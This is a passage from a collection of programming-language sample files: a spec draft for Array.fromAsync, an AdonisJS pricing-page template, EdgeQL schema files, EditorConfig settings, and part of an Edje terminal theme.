Call(_promiseCapability_.[[Resolve]], *undefined*, &laquo; _result_.[[Value]] &raquo;).\n            1. Else,\n              1. Assert: _result_.[[Type]] is ~throw~.\n              1. Perform ! Call(_promiseCapability_.[[Reject]], *undefined*, &laquo; _result_.[[Value]] &raquo;).\n            1. [id=\"step-asyncblockstart-return-undefined\"] Return.\n          1. Push _asyncContext_ onto the execution context stack; _asyncContext_ is now the running execution context.\n          1. <emu-meta effects=\"user-code\">Resume the suspended evaluation of _asyncContext_</emu-meta>. Let _result_ be the value returned by the resumed computation.\n          1. Assert: When we return here, _asyncContext_ has already been removed from the execution context stack and _runningContext_ is the currently running execution context.\n          1. Assert: _result_ is a normal completion with a value of *undefined*. The possible sources of completion values are Await or, if the async function doesn't await anything, step <emu-xref href=\"#step-asyncblockstart-return-undefined\"></emu-xref> above.\n          1. Return.\n        </emu-alg>\n      </emu-clause>\n    </emu-clause>\n  </emu-clause>\n</emu-clause>\n\n<emu-clause id=\"sec-indexed-collections\">\n  <h1>Indexed Collections</h1>\n\n  <emu-clause id=\"sec-array-objects\">\n    <h1>Array Objects</h1>\n\n    <emu-clause id=\"sec-properties-of-the-array-constructor\">\n      <h1>Properties of the Array Constructor</h1>\n\n      <emu-clause id=\"sec-array.fromAsync\">\n        <h1><ins>Array.fromAsync ( _asyncItems_ [ , _mapfn_ [ , _thisArg_ ] ] )</ins></h1>\n\n        <emu-note type=editor>\n          <p>This section is a wholly new subsection of the <a\n          href=https://tc39.es/ecma262/#sec-properties-of-the-array-constructor>original\n          Properties of the Array Constructor clause</a>, to be inserted before the <a\n          href=https://tc39.es/ecma262/#sec-properties-of-the-array-constructor>Array.from\n          clause</a>.</p>\n        </emu-note>\n\n        <p>When the `fromAsync` method is called, the following steps are taken:</p>\n        <emu-alg>\n          1. Let _C_ be the *this* value.\n          1. Let _promiseCapability_ be ! NewPromiseCapability(%Promise%).\n          1. Let _fromAsyncClosure_ be a new Abstract Closure with no parameters that captures _C_, _mapfn_, and _thisArg_ and performs the following steps when called:\n            1. If _mapfn_ is *undefined*, let _mapping_ be *false*.\n            1. Else,\n              1. If IsCallable(_mapfn_) is *false*, throw a *TypeError* exception.\n              1. Let _mapping_ be *true*.\n            1. Let _usingAsyncIterator_ be ? GetMethod(_asyncItems_, @@asyncIterator).\n            1. If _usingAsyncIterator_ is *undefined*, then\n              1. Let _usingSyncIterator_ be ? GetMethod(_asyncItems_, @@iterator).\n            1. If IsConstructor(_C_) is *true*, then\n              1. Let _A_ be ? Construct(_C_).\n            1. Else,\n              1. Let _A_ be ! ArrayCreate(0).\n            1. Let _iteratorRecord_ be *undefined*.\n            1. If _usingAsyncIterator_ is not *undefined*, then\n              1. Set _iteratorRecord_ to ? GetIterator(_asyncItems_, ~async~, _usingAsyncIterator_).\n            1. Else if _usingSyncIterator_ is not *undefined*, then\n              1. Set _iteratorRecord_ to ? CreateAsyncFromSyncIterator(GetIterator(_asyncItems_, ~sync~, _usingSyncIterator_)).\n            1. If _iteratorRecord_ is not *undefined*, then\n              1. Let _k_ be 0.\n              1. Repeat,\n                1. If _k_ &ge; 2<sup>53</sup> - 1, then\n                  1. Let _error_ be ThrowCompletion(a newly created *TypeError* object).\n                  1. Return ? AsyncIteratorClose(_iteratorRecord_, _error_).\n                1. Let _Pk_ be ! ToString(𝔽(_k_)).\n                1. Let _next_ be ? Await(IteratorStep(_iteratorRecord_)).\n                1. If _next_ is *false*, then\n                  1. Perform ? Set(_A_, *\"length\"*, 𝔽(_k_), *true*).\n                  1. Return Completion Record { [[Type]]: ~return~, [[Value]]: _A_, [[Target]]: ~empty~ }.\n                1. Let _nextValue_ be ? IteratorValue(_next_).\n                1. If _mapping_ is *true*, then\n                  1. Let _mappedValue_ be Call(_mapfn_, _thisArg_, &laquo; _nextValue_, 𝔽(_k_) &raquo;).\n                  1. IfAbruptCloseAsyncIterator(_mappedValue_, _iteratorRecord_).\n                  1. Set _mappedValue_ to Await(_mappedValue_).\n                  1. IfAbruptCloseAsyncIterator(_mappedValue_, _iteratorRecord_).\n                1. Else, let _mappedValue_ be _nextValue_.\n                1. Let _defineStatus_ be CreateDataPropertyOrThrow(_A_, _Pk_, _mappedValue_).\n                1. If _defineStatus_ is an abrupt completion, return ? AsyncIteratorClose(_iteratorRecord_, _defineStatus_).\n                1. Set _k_ to _k_ + 1.\n            1. Else,\n              1. NOTE: _asyncItems_ is neither an AsyncIterable nor an Iterable so assume it is an array-like object.\n              1. Let _arrayLike_ be ! ToObject(_asyncItems_).\n              1. Let _len_ be ? LengthOfArrayLike(_arrayLike_).\n              1. If IsConstructor(_C_) is *true*, then\n                1. Let _A_ be ? Construct(_C_, &laquo; 𝔽(_len_) &raquo;).\n              1. Else,\n                1. Let _A_ be ? ArrayCreate(_len_).\n              1. Let _k_ be 0.\n              1. Repeat, while _k_ &lt; _len_,\n                1. Let _Pk_ be ! ToString(𝔽(_k_)).\n                1. Let _kValue_ be ? Get(_arrayLike_, _Pk_).\n                1. Let _kValue_ be ? Await(_kValue_).\n                1. If _mapping_ is *true*, then\n                  1. Let _mappedValue_ be ? Call(_mapfn_, _thisArg_, &laquo; _kValue_, 𝔽(_k_) &raquo;).\n                  1. Let _mappedValue_ be ? Await(_mappedValue_).\n                1. Else, let _mappedValue_ be _kValue_.\n                1. Perform ? CreateDataPropertyOrThrow(_A_, _Pk_, _mappedValue_).\n                1. Set _k_ to _k_ + 1.\n              1. Perform ? Set(_A_, *\"length\"*, 𝔽(_len_), *true*).\n              1. Return Completion Record { [[Type]]: ~return~, [[Value]]: _A_, [[Target]]: ~empty~ }.\n          1. Perform AsyncFunctionStart(_promiseCapability_, _fromAsyncClosure_).\n          1. Return _promiseCapability_.[[Promise]].\n        </emu-alg>\n        <emu-note>\n          <p>The `fromAsync` function is an intentionally generic factory method; it does not require that its *this* value be the Array constructor. Therefore it can be transferred to or inherited by any other constructors that may be called with a single numeric argument.</p>\n        </emu-note>\n      </emu-clause>\n    </emu-clause>\n  </emu-clause>\n</emu-clause>\n"
  },
  {
    "path": "samples/Edge/pricing.edge",
    "content": "@layout({\n  title: \"Your Ultimate Resource for AdonisJS Lessons and Videos\",\n  meta: {\n    url: '/pricing',\n    desc: `Take your AdonisJS skills to the next level with Adocasts. Our comprehensive video lessons cover everything from the basics to advanced topics. Join our community today and start learning!`,\n    asset: null,\n    index: true\n  }\n})\n  @slot('hero')\n    <div class=\"-mt-12\">\n      @!pricing.home()\n    </div>\n  @endslot\n\n  @section()\n    <div class=\"flex flex-col justify-center items-center text-center mt-12\">\n      <img class=\"w-auto max-w-full\" src=\"/imgs/adocasts-plus-white-40.png\" alt=\"Adocasts Plus\" />\n      @!heading({\n        subtitle: 'Features & Perks',\n        class: 'text-center text-slate-base-100',\n      })\n    </div>\n\n    <div class=\"flex flex-wrap -mx-4 gap-y-8 mb-16\">\n      @!pricing.feature.card({\n        icon: 'ph:lock-open-fill',\n        title: 'Unlock All Content',\n        text: 'Unlock access to all series, lessons, plus any and all other content we release'\n      })\n\n      @!pricing.feature.card({\n        icon: 'ph:clock-countdown-fill',\n        title: '2 Weeks Early Access',\n        text: \"When we release free content, it's exclusive to our plus subscribers for two weeks\"\n      })\n\n      @!pricing.feature.card({\n        icon: 'ph:share-fat-fill',\n        title: 'Shared Feed Posts',\n        text: 'Recent feed posts are pooled for display across the Adocasts site'\n      })\n\n      @pricing.feature.card({\n        icon: 'ph:barricade-fill',\n        title: 'Ad Free Experience',\n      })\n        You won't see any ads on the Adocasts site, not even your own \n        <span class=\"text-sm italic\">(except in our ad portal)</span>\n      @end\n\n      @!pricing.feature.card({\n        icon: 'ph:image-square-fill',\n        title: 'Run Ads',\n        text: 'Gain access to our ad portal to run advertisements across the Adocasts site'\n      })\n\n      @!pricing.feature.card({\n        icon: 'ph:currency-dollar-simple-bold',\n        title: 'Cancel Anytime',\n        text: 'Reminders are sent a week prior to renewal, plus you can cancel anytime!'\n      })\n    </div>\n  @end\n\n  @section()\n    <div class=\"flex flex-col lg:flex-row gap-4 max-w-3xl mx-auto bg-slate-100 rounded-md p-8 relative\">\n      <div class=\"flex-1 text-center lg:text-left relative z-10\">\n        @!heading({ title: 'Not Ready?', size: 'sm' })\n        <p class=\"lg:text-lg text-slate-700 -mt-2\">\n          No worries, we have plenty of free lessons too!\n        </p>\n      </div>\n      <div class=\"flex justify-center lg:justify-end lg:items-center relative z-10\">\n        @button({ variant: 'dark', href: route('auth.signup.create'), 'up-layer': 'new', 'up-size': 'grow' })\n          Get Started for Free\n        @end\n      </div>\n\n      <div class=\"absolute right-0 md:right-1/4 -bottom-16 w-24 lg:-right-24 lg:bottom-4 lg:w-32 -scale-x-100 h-full\">\n        <img class=\"animation-float\" src=\"/imgs/robot/slice2.svg\" alt=\"robot mascot pointing right\" />\n      </div>\n    </div>\n  @end\n\n  @section()\n    <div class=\"max-w-3xl mx-auto bg-slate-100 p-8 pb-4 rounded-md\">\n      @!heading({ title: 'Fequently Asked Questions', size: 'sm' })\n      <p class=\"text-slate-700 -mt-2\">\n        Is your question not listed? <a href=\"mailto:contact@adocasts.com?subject=Pricing Question\" class=\"anchor\">Feel free to reach out</a>!\n      </p>\n      <div class=\"-mx-4 mt-6\">\n        @accordion()\n          @accordion.item({ title: 'How can I cancel my subscription?' })\n            <p>\n              You can cancel your subscription at any time within your billing settings. \n              Once canceled you'll still have full access to Adocasts Plus until your current billing period is over.\n              Once your billing period is over, you won't be charged again.\n            </p>\n          @end\n          @accordion.item({ title: 'What do I get with Adocasts Plus?' })\n            <p>\n              With Adocasts Plus you'll get access to all of our <a class=\"anchor\" href=\"{{ route('lessons.index') }}\" up-follow>lessons</a> \n              and <a class=\"anchor\" href=\"{{ route('series.index') }}\" up-follow>series</a>. \n            </p>\n            \n            <p>\n              Adocasts Plus members also enjoy 2 weeks early access to all our new lessons (excludes contributor lessons), \n              meaning that when we do release a free lesson it'll be exclusive to Adocasts Plus members for the first 2 weeks.\n            </p>\n\n            <p>\n              Additionally, Adocasts Plus is ad free! When you're browsing or watching the Adocasts site, we'll make sure you don't see any ads.\n            </p>\n          @end\n          @accordion.item({ title: 'Can I change plans at any time?' })\n            <p>\n              Yep! Unless you're already on our forever plan, you can switch between the monthly, annual, or even opt into the forever plan at any time.\n            </p>\n            <p>\n              When switching from our monthly to annual plan, any time remaining in your current billing period will be prorated.\n            </p>\n          @end\n          @accordion.item({ title: 'Do you offer student, purchase power parity, or other discounts?' })\n            <p>\n              Our goal is to try to make learning AdonisJS as affordable as possible. \n              Compared to others, we feel our pricing is already pretty low.\n            </p>\n\n            <p>\n              That said, if you feel {{ plusMonthly.displayPrice }} per month is high for you, whether that's financially or due to unfair conversion rates,\n              <a href=\"mailto:contact@adocasts.com?subject=Student or PPP Discount Request\" class=\"anchor\">send us an email</a> and we'll see what we can do.\n            </p>\n          @end\n        @end\n      </div>\n    </div>\n  @end\n@end\n"
  },
  {
    "path": "samples/EdgeQL/default.esdl",
    "content": "module default {\n  type Task {\n    required property text -> str;\n    required property completed -> bool{\n      default := false;\n    };\n  }\n};\n"
  },
  {
    "path": "samples/EdgeQL/migration.edgeql",
    "content": "CREATE MIGRATION m146naaaow4uwgbxpnjq5hyizixicxvg2ccpta24pxebzfn7xeppna\n    ONTO initial\n{\n  CREATE EXTENSION edgeql_http VERSION '1.0';\n  CREATE EXTENSION graphql VERSION '1.0';\n  CREATE TYPE default::Task {\n      CREATE REQUIRED PROPERTY completed -> std::bool {\n          SET default := false;\n      };\n      CREATE REQUIRED PROPERTY text -> std::str;\n  };\n};\n"
  },
  {
    "path": "samples/EditorConfig/ASP.NET.EditorConfig",
    "content": "# ASP.NET Core EditorConfig file\n\n# NOTE: This file focuses on settings Visual Studio 2017 supports natively. For example, VS does not support insert_final_newline.\n# We do use it, but it's harder to enforce without a separate VS extension or an editor that supports it.\n# See https://docs.microsoft.com/en-us/visualstudio/ide/create-portable-custom-editor-options for more\n\n# Mark this file as the \"root\" for everything below this point. This means that editor config files above\n# this file will be ignored\nroot = true\n\n# Default settings\n[*]\nindent_style = space\nindent_size = 4\ncharset = utf-8\ninsert_final_newline = true\n\n# Unix-only files\n[*.sh]\nend_of_line = lf\n\n# 2-space files\n[{*.json,*.yml}]\nindent_size = 2\n\n# .NET Code Style Settings\n# See https://docs.microsoft.com/en-us/visualstudio/ide/editorconfig-code-style-settings-reference\n# REVIEW: Should these be errors? warnings? suggestions?\n[{*.cs,*.vb}]\ndotnet_sort_system_directives_first = true\n\n# Don't use 'this.'/'Me.' prefix for anything\ndotnet_style_qualification_for_field = false:error\ndotnet_style_qualification_for_property = false:error\ndotnet_style_qualification_for_method = false:error\ndotnet_style_qualification_for_event = false:error\n\n# Use language keywords over framework type names for type references\n# i.e. prefer 'string' over 'String'\ndotnet_style_predefined_type_for_locals_parameters_members = true:error\ndotnet_style_predefined_type_for_member_access = true:error\n\n# Prefer object/collection initializers\n# This is a suggestion because there are cases where this is necessary\ndotnet_style_object_initializer = true:suggestion\ndotnet_style_collection_initializer = true:suggestion\n\n# C# 7: Prefer using named tuple names over '.Item1', '.Item2', etc.\ndotnet_style_explicit_tuple_names = true:error\n\n# Prefer using 'foo ?? bar' over 'foo != null ? foo : bar'\ndotnet_style_coalesce_expression = true:error\n\n# Prefer using '?.' over ternary null checking where possible\ndotnet_style_null_propagation = true:error\n\n# Use 'var' in all cases where it can be used\ncsharp_style_var_for_built_in_types = true:error\ncsharp_style_var_when_type_is_apparent = true:error\ncsharp_style_var_elsewhere = true:error\n\n# C# 7: Prefer using pattern matching over \"if(x is T) { var t = (T)x; }\" and \"var t = x as T; if(t != null) { ... }\"\n# REVIEW: Since this is a new C# 7 feature that replaces an existing pattern, I'm making it a suggestion\ncsharp_style_pattern_matching_over_is_with_cast_check = true:warning\ncsharp_style_pattern_matching_over_as_with_null_check = true:warning\n\n# C# 7: Prefer using 'out var' where possible\n# REVIEW: Since this is a new C# 7 feature that replaces an existing pattern, I'm making it a suggestion\ncsharp_style_inlined_variable_declaration = true:error\n\n# C# 7: Use throw expressions when null-checking\n# @davidfowl hates them :)\ncsharp_style_throw_expression = false:error\n\n# Prefer using \"func?.Invoke(args)\" over \"if(func != null) { func(args); }\"\n# REVIEW: Maybe an error?\ncsharp_style_conditional_delegate_call = true:error\n\n# Newline settings\n# Unsure where docs are. Got these from https://github.com/dotnet/roslyn/blob/master/.editorconfig\ncsharp_new_line_before_open_brace = all\ncsharp_new_line_before_else = true\ncsharp_new_line_before_catch = true\ncsharp_new_line_before_finally = true\ncsharp_new_line_before_members_in_object_initializers = true\ncsharp_new_line_before_members_in_anonymous_types = true\n\n# Prefer expression-bodied methods, constructors, operators, etc.\ncsharp_style_expression_bodied_methods = true:suggestion\ncsharp_style_expression_bodied_constructors = true:suggestion\ncsharp_style_expression_bodied_operators = true:suggestion\ncsharp_style_expression_bodied_properties = true:suggestion\ncsharp_style_expression_bodied_indexers = true:suggestion\ncsharp_style_expression_bodied_accessors = true:suggestion\n"
  },
  {
    "path": "samples/EditorConfig/IntelliJ.editorconfig",
    "content": "root = true\n\n[*]\ncharset = utf-8\nend_of_line = lf\nindent_style = tab\ninsert_final_newline = true\nmax_line_length = 120\ntab_width = 4\nij_continuation_indent_size = 4\nij_formatter_off_tag = @formatter:off\nij_formatter_on_tag = @formatter:on\nij_formatter_tags_enabled = false\nij_smart_tabs = false\nij_wrap_on_typing = false\n\n[{*.cjs, *.js, *.karma}]\nij_continuation_indent_size = 1\nij_javascript_align_imports = false\nij_javascript_align_multiline_for = true\nij_javascript_align_multiline_parameters = true\nij_javascript_align_multiline_parameters_in_calls = false\nij_javascript_align_multiline_ternary_operation = false\nij_javascript_align_object_properties = 0\nij_javascript_align_union_types = false\nij_javascript_align_var_statements = 1\nij_javascript_assignment_wrap = on_every_item\nij_javascript_binary_operation_sign_on_next_line = false\nij_javascript_binary_operation_wrap = off\nij_javascript_blacklist_imports = rxjs/Rx, node_modules/**, **/node_modules/**, @angular/material, @angular/material/typings/**\n\n[{*.yaml, *.yml, _algolia_api_key}]\nindent_size = 2\nij_yaml_keep_indents_on_empty_lines = false\nij_yaml_keep_line_breaks = true\n\n[{*.htm, *.html, *.sht, *.shtm, *.shtml}]\nij_html_do_not_break_if_inline_tags = title, h1, h2, h3, h4, h5, h6, p\nij_html_do_not_indent_children_of_tags = html, body, thead, tbody, tfoot\n"
  },
  {
    "path": "samples/EditorConfig/filenames/.editorconfig",
    "content": "; editorconfig.org\nroot = true\n\n[*]\nindent_style = space\nindent_size = 4\nend_of_line = lf\ncharset = utf-8\ntrim_trailing_whitespace = true\ninsert_final_newline = true\n"
  },
  {
    "path": "samples/Edje Data Collection/mild.edc",
    "content": "// https://raw.githubusercontent.com/billiob/terminology/master/data/themes/mild.edc\n/* overlay to default to make theme easier on the eyes, less effects */\n\n#ifndef BG_COLOR\n#define BG_COLOR 48 48 48 255\n#endif\n\n#ifndef BG_COLOR_TRANSLUCENT\n#define BG_COLOR_TRANSLUCENT 48 48 48 200\n#endif\n\n#ifndef BELL_OVERLAY_COLOR\n#define BELL_OVERLAY_COLOR 220 220 220 16\n#endif\n\n\ncollections {\n   group { name: \"terminology/background\";\n\n#ifndef INHERIT_PROVIDE_OWN_COLORS\n       color_classes {\n#include \"default_colors.in.edc\"\n       }\n#endif\n\n      images {\n        image: \"bg_bevel.png\" COMP;\n        image: \"bg_shine.png\" COMP;\n        image: \"bg_glint.png\" COMP;\n        image: \"bg_led_base.png\" COMP;\n        image: \"bg_led.png\" COMP;\n        image: \"bg_led_strobe.png\" COMP;\n        image: \"pm_shadow.png\" COMP;\n        image: \"pm_overlay.png\" COMP;\n        image: \"pm_fill.png\" COMP;\n        image: \"tab_bg_l0.png\" COMP;\n        image: \"tab_bg_l1.png\" COMP;\n        image: \"tab_bg_r0.png\" COMP;\n        image: \"tab_bg_r1.png\" COMP;\n        image: \"tab_shad_l0.png\" COMP;\n        image: \"tab_shad_l1.png\" COMP;\n        image: \"tab_shad_r0.png\" COMP;\n        image: \"tab_shad_r1.png\" COMP;\n      }\n      sounds {\n         sample { name: \"bell\" LOSSY 64;\n            source: \"bell.wav\";\n         }\n      }\n\n      script {\n         public message(Msg_Type:type, id, ...) {\n            new r, g, b, a, v;\n\n            if ((type != MSG_INT) || (id != 1)) return;\n\n            v = (getarg(2) * 255) / 100;\n\n            custom_state(PART:\"base\", \"default\", 0.0);\n            get_state_val(PART:\"base\", STATE_COLOR, r, g, b, a);\n            set_state_val(PART:\"base\", STATE_COLOR, r, g, b, v);\n            set_state(PART:\"base\", \"custom\", 0.0);\n\n            custom_state(PART:\"fade\", \"default\", 0.0);\n            get_state_val(PART:\"fade\", STATE_COLOR, r, g, b, a);\n            set_state_val(PART:\"fade\", STATE_COLOR, r, g, b, v);\n            set_state(PART:\"fade\", \"custom\", 0.0);\n         }\n      }\n\n      parts {\n         ////////////////////////////////////////////////////////////////////\n         // background handling\n\n         part { name: \"focusclip\"; type: RECT;\n            clip_to: \"bellclip\";\n            description { state: \"default\" 0.0;\n            }\n            description { state: \"unfocused\" 0.0;\n               color: 200 200 200 255;\n            }\n         }\n         program {\n            signal: \"focus,in\";\n            source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            transition: ACCELERATE 0.1;\n            target: \"focusclip\";\n         }\n         program {\n            signal: \"focused,set\";\n            source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            target: \"focusclip\";\n         }\n         program {\n            signal: \"focus,out\";\n            source: \"terminology\";\n            action: STATE_SET \"unfocused\" 0.0;\n            transition: ACCELERATE 0.1;\n            target: \"focusclip\";\n         }\n\n         part { name: \"baseclip\"; type: RECT;\n            clip_to: \"focusclip\";\n            description { state: \"default\" 0.0;\n            }\n            description { state: \"image\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 255 255 255 0;\n               visible: 0;\n            }\n            description { state: \"scale\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 255 255 255 0;\n               visible: 0;\n            }\n            description { state: \"edje\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 255 255 255 0;\n               visible: 0;\n            }\n            description { state: \"movie\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 255 255 255 0;\n               visible: 0;\n            }\n         }\n         part { name: \"base\"; type: RECT;\n            mouse_events: 1;\n            clip_to: \"baseclip\";\n            description { state: \"default\" 0.0;\n               color: BG_COLOR;\n            }\n         }\n         part { name: \"fade\"; type: RECT;\n            description { state: \"default\" 0.0;\n            }\n         }\n         part { name: \"terminology.background\"; type: SWALLOW;\n            clip_to: \"fade\";\n            description { state: \"default\" 0.0;\n            }\n            description { state: \"image\" 0.0;\n               inherit: \"default\" 0.0;\n            }\n            description { state: \"scale\" 0.0;\n               inherit: \"default\" 0.0;\n            }\n            description { state: \"edje\" 0.0;\n               inherit: \"default\" 0.0;\n            }\n            description { state: \"movie\" 0.0;\n               inherit: \"default\" 0.0;\n            }\n         }\n         program { name: \"media_off\";\n            signal: \"media,off\";\n            source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            target: \"terminology.background\";\n            target: \"baseclip\";\n         }\n         program { name: \"media_img\";\n            signal: \"media,image\";\n            source: \"terminology\";\n            action: STATE_SET \"image\" 0.0;\n            target: \"terminology.background\";\n            target: \"baseclip\";\n         }\n         program { name: \"media_scale\";\n            signal: \"media,scale\";\n            source: \"terminology\";\n            action: STATE_SET \"scale\" 0.0;\n            target: \"terminology.background\";\n            target: \"baseclip\";\n         }\n         program { name: \"media_edje\";\n            signal: \"media,edje\";\n            source: \"terminology\";\n            action: STATE_SET \"edje\" 0.0;\n            target: \"terminology.background\";\n            target: \"baseclip\";\n         }\n         program { name: \"media_mov\";\n            signal: \"media,movie\";\n            source: \"terminology\";\n            action: STATE_SET \"movie\" 0.0;\n            target: \"terminology.background\";\n            target: \"baseclip\";\n         }\n\n         part { name: \"bellclip\"; type: RECT;\n            description { state: \"default\" 0.0;\n            }\n            description { state: \"pulse1\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 200 200 200 255;\n            }\n            description { state: \"pulse2\" 0.0;\n               inherit: \"default\" 0.0;\n            }\n         }\n         part { name: \"belloverlay\"; type: RECT;\n            mouse_events: 0;\n            description { state: \"default\" 0.0;\n               color: 255 255 255 0;\n               visible: 0;\n            }\n            description { state: \"pulse1\" 0.0;\n               inherit: \"default\" 0.0;\n            }\n            description { state: \"pulse2\" 0.0;\n               inherit: \"default\" 0.0;\n               color: BELL_OVERLAY_COLOR;\n               visible: 1;\n            }\n         }\n         program {\n            signal: \"bell,ring\"; source: \"terminology\";\n#if (EFL_VERSION_MAJOR > 1) || (EFL_VERSION_MINOR >= 9)\n            action: PLAY_SAMPLE \"bell\" 1.0 ALERT;\n#else\n            action: PLAY_SAMPLE \"bell\" 1.0;\n#endif\n         }\n         program {\n            signal: \"bell\";\n            source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            target: \"bellclip\";\n            target: \"belloverlay\";\n            after: \"bellclip_bell.2\";\n         }\n         program {\n            name: \"bellclip_bell.2\";\n            action: STATE_SET \"pulse1\" 0.0;\n            transition: ACCELERATE 0.2;\n            target: \"bellclip\";\n            target: \"belloverlay\";\n            after: \"bellclip_bell.3\";\n         }\n         program {\n            name: \"bellclip_bell.3\";\n            action: STATE_SET \"pulse2\" 0.0;\n            transition: ACCELERATE 0.2;\n            target: \"bellclip\";\n            target: \"belloverlay\";\n            after: \"bellclip_bell.4\";\n         }\n         program {\n            name: \"bellclip_bell.4\";\n            action: STATE_SET \"default\" 0.0;\n            transition: ACCELERATE 0.2;\n            target: \"bellclip\";\n            target: \"belloverlay\";\n         }\n\n         ////////////////////////////////////////////////////////////////////\n         // actual text grid for chars, cursors, selectiond etc. goes here\n         part { name: \"terminology.content\"; type: SWALLOW;\n            description { state: \"default\" 0.0;\n            }\n         }\n\n         ////////////////////////////////////////////////////////////////////\n         // indicator of other tabs and control\n         part { name: \"tabcount_clip\"; type: RECT;\n            description { state: \"default\" 0.0;\n               color: 255 255 255 0;\n               visible: 0;\n            }\n            description { state: \"on\" 0.0;\n               inherit: \"default\" 0.0;\n               visible: 1;\n               color: 255 255 255 255;\n            }\n         }\n         part { name: \"terminology.tabmissed.label\"; type: TEXT; mouse_events: 0;\n            effect: GLOW;\n            scale: 1;\n            clip_to: \"tabcount_clip\";\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               rel1.to: \"terminology.tabcount.label\";\n               rel2.to: \"terminology.tabcount.label\";\n               rel1.offset: -4 0;\n               rel2.relative: 0.0 1.0;\n               rel2.offset: -5 -1;\n               color: 255 153 51 64;\n               align: 1.0 0.5;\n               text { font: \"Sans\"; size: 8;\n                  align: 1.0 0.5;\n                  min: 1 1;\n                  ellipsis: 0;\n               }\n            }\n            description { state: \"over\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 255 255 64 255;\n            }\n         }\n         part { name: \"terminology.tabcount.label\"; type: TEXT; mouse_events: 0;\n            scale: 1;\n            clip_to: \"tabcount_clip\";\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               rel1.to: \"terminology.tabcount.control\";\n               rel2.to: \"terminology.tabcount.control\";\n               rel1.relative: -0.2 0.0;\n               rel2.relative: -0.2 1.0;\n               color: 255 255 255 64;\n               align: 1.0 0.5;\n               text { font: \"Sans\"; size: 8;\n                  align: 1.0 0.5;\n                  min: 1 1;\n                  ellipsis: 0;\n               }\n            }\n            description { state: \"over\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 255 255 255 255;\n            }\n         }\n         part { name: \"tabcount_r0\"; type: RECT;\n            clip_to: \"tabcount_clip\";\n            description { state: \"default\" 0.0;\n               rel1.to: \"terminology.tabcount.control\";\n               rel2.to: \"terminology.tabcount.control\";\n               rel1.relative: 0.05 0.05;\n               rel2.relative: 0.45 0.45;\n               color: 255 255 255 32;\n            }\n            description { state: \"over\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 255 255 255 255;\n            }\n         }\n         part { name: \"tabcount_r1\"; type: RECT;\n            clip_to: \"tabcount_clip\";\n            description { state: \"default\" 0.0;\n               rel1.to: \"terminology.tabcount.control\";\n               rel2.to: \"terminology.tabcount.control\";\n               rel1.relative: 0.55 0.05;\n               rel2.relative: 0.95 0.45;\n               color: 255 255 255 32;\n            }\n            description { state: \"over\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 255 255 255 255;\n            }\n         }\n         part { name: \"tabcount_r2\"; type: RECT;\n            clip_to: \"tabcount_clip\";\n            description { state: \"default\" 0.0;\n               rel1.to: \"terminology.tabcount.control\";\n               rel2.to: \"terminology.tabcount.control\";\n               rel1.relative: 0.05 0.55;\n               rel2.relative: 0.45 0.95;\n               color: 255 255 255 32;\n            }\n            description { state: \"over\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 255 255 255 255;\n            }\n         }\n         part { name: \"tabcount_r3\"; type: RECT;\n            clip_to: \"tabcount_clip\";\n            description { state: \"default\" 0.0;\n               rel1.to: \"terminology.tabcount.control\";\n               rel2.to: \"terminology.tabcount.control\";\n               rel1.relative: 0.55 0.55;\n               rel2.relative: 0.95 0.95;\n               color: 255 255 255 32;\n            }\n            description { state: \"over\" 0.0;\n               inherit: \"default\" 0.0;\n               color: 255 255 255 255;\n            }\n         }\n         part { name: \"terminology.tabcount.control\"; type: SWALLOW;\n            clip_to: \"tabcount_clip\";\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               rel1.relative: 1.0 0.0;\n               rel1.offset: -3 2;\n               rel1.to: \"viewregion\";\n               rel2.relative: 1.0 0.0;\n               rel2.offset: -3 2;\n               rel2.to: \"viewregion\";\n               align: 1.0 0.0;\n               min: 16 16;\n            }\n         }\n         part { name: \"tabcount_ev\"; type: RECT; repeat_events: 1;\n            clip_to: \"tabcount_clip\";\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               rel1.to: \"terminology.tabcount.control\";\n               rel2.to: \"terminology.tabcount.control\";\n               color: 0 0 0 0;\n            }\n         }\n\n         part { name: \"terminology.tabregion\"; type: SWALLOW;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               rel1.to: \"terminology.content\";\n               rel2.to: \"viewregion\";\n               rel2.relative: 1.0 0.0;\n            }\n         }\n         part { name: \"viewregion\"; type: SWALLOW;\n            description { state: \"default\" 0.0;\n               fixed: 1 1;\n               rel1.to: \"terminology.content\";\n               rel2.to: \"terminology.content\";\n            }\n            description { state: \"tab\" 0.0;\n               inherit: \"default\" 0.0;\n               rel1.to_y: \"tabmiddle\";\n               rel1.relative: 0.0 1.0;\n            }\n         }\n\n         program {\n            signal: \"mouse,in\"; source: \"tabcount_ev\";\n            action: STATE_SET \"over\" 0.0;\n            transition: DECELERATE 0.5;\n            target: \"tabcount_r0\";\n            target: \"tabcount_r1\";\n            target: \"tabcount_r2\";\n            target: \"tabcount_r3\";\n            target: \"terminology.tabcount.label\";\n            target: \"terminology.tabmissed.label\";\n         }\n         program {\n            signal: \"mouse,out\"; source: \"tabcount_ev\";\n            action: STATE_SET \"default\" 0.0;\n            transition: DECELERATE 2.0;\n            target: \"tabcount_r0\";\n            target: \"tabcount_r1\";\n            target: \"tabcount_r2\";\n            target: \"tabcount_r3\";\n            target: \"terminology.tabcount.label\";\n            target: \"terminology.tabmissed.label\";\n         }\n         program {\n            signal: \"mouse,clicked,1\"; source: \"tabcount_ev\";\n            action: SIGNAL_EMIT \"tabcount,go\" \"terminology\";\n         }\n         program {\n            signal: \"tabcount,off\"; source: \"terminology\";\n            action: STATE_SET \"default\" 0.0;\n            transition: DECELERATE 0.5;\n            target: \"tabcount_clip\";\n         }\n         program {\n            signal: \"tabcount,on\"; source: \"terminology\";\n            action: STATE_SET \"on\" 0.0;\n            transition: 